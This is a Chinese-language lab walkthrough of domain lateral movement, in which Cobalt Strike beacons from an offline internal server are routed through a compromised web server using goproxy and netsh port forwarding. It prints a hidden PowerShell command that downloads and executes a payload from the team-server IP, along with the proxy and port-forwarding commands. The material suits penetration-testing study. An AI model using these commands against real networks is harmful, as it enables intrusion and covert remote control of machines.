TD;LR
在做域内网横向实验的过程中,在控制了域内一台服务器/终端的情况下,通过将Cobalt Strike的socks4a代理,将Beacon shell转发到msf中。通过msf的漏洞利用模块拿到了另一台内网的服务器/终端,此内网的服务器/终端无法连接互联网,只能访问已经控制了的那台服务器。
如果要将一台内网无法连接互联网的服务器/终端反弹回Cobalt Strike,此内网服务器必须需要访问互联网,那么就需要结合端口转发的功能来达到目的。
由于这些知识也刚学习,当时就没把这个实验继续做下去了。
一段时间后,浏览了不少C/S的文章(文章在后面有参考链接,主要参考了snowming大佬的文章),发现要达到这个目的其实不是很难(前人踩坑,后人乘凉 ?),只需要简单的端口转发就可以做的到。
实验环境
windows2012 - webserver
ip1:10.10.10.144
ip2:192.168.15.163
windows 2008 - fileserver
ip:10.10.10.145
cobalt strike 团队服务器 - VPS
ip:211.1.1.181
拓扑图如下:
注意:VPS不能直接访问到10.10.10.145,10.10.10.145也不能直接出网,这里就是解决如何使10.10.10.145出网,在其上执行shell后反弹回CS服务器。
思路及操作
结合代理以及转发功能,在WEBSERVER上操作。
上线路径:10.10.10.145 → 10.10.10.144:80(HTTP代理)→ 192.168.15.163:8080(端口转发) → 211.1.1.181(监听器上线)
实操演示
VPS连接WEBSERVER服务器,获取立足点
1、连接Cobalt Strike团队服务器,设置好listener。listener设置如下。
2、生成payload,利用Scripted Web Delivery(S)模块,payload类型为powershell,端口为80,具体配置看图。
3、设置完成后,点击launch,即可生成payload。弹出一个窗口,复制如下内容即可。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://211.1.1.181:80/a'))"
4、payload执行完成后,Beacon shell反弹成功。
5、在WEBSERVER服务器(跳板),设置HTTP代理。使用snowming推荐的goproxy代理工具。
sleep 0upload file # 上传proxy.exe文件shell c:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
6、在WEBSERVER服务器(跳板)上通过netsh开启端口转发。
shell netsh interface portproxy add v4tov4 listenaddress=10.10.10.144 listenport=80 connectaddress=192.168.15.163 connectport=8080
7、netstat -an查看端口监听情况,可以看到8080和80端口都出在监听的状态。
8、查看端口转发情况
9、设置内网代理监听器,http proxy填写内网代理地址。10.10.10.144:80。
10、生成payload,利用windows Executable(S)模块(这里有个坑,具体可查看参考链接),选择上面创建好的内网代理监听器。
11、将payload传到FILESERVER服务器上,执行即可反弹成功。
12、具体的详情可以查看参考链接,有具体的详细细节,感谢大佬的分享。
参考:
http://blog.leanote.com/post/snowming/2ec80f7823e0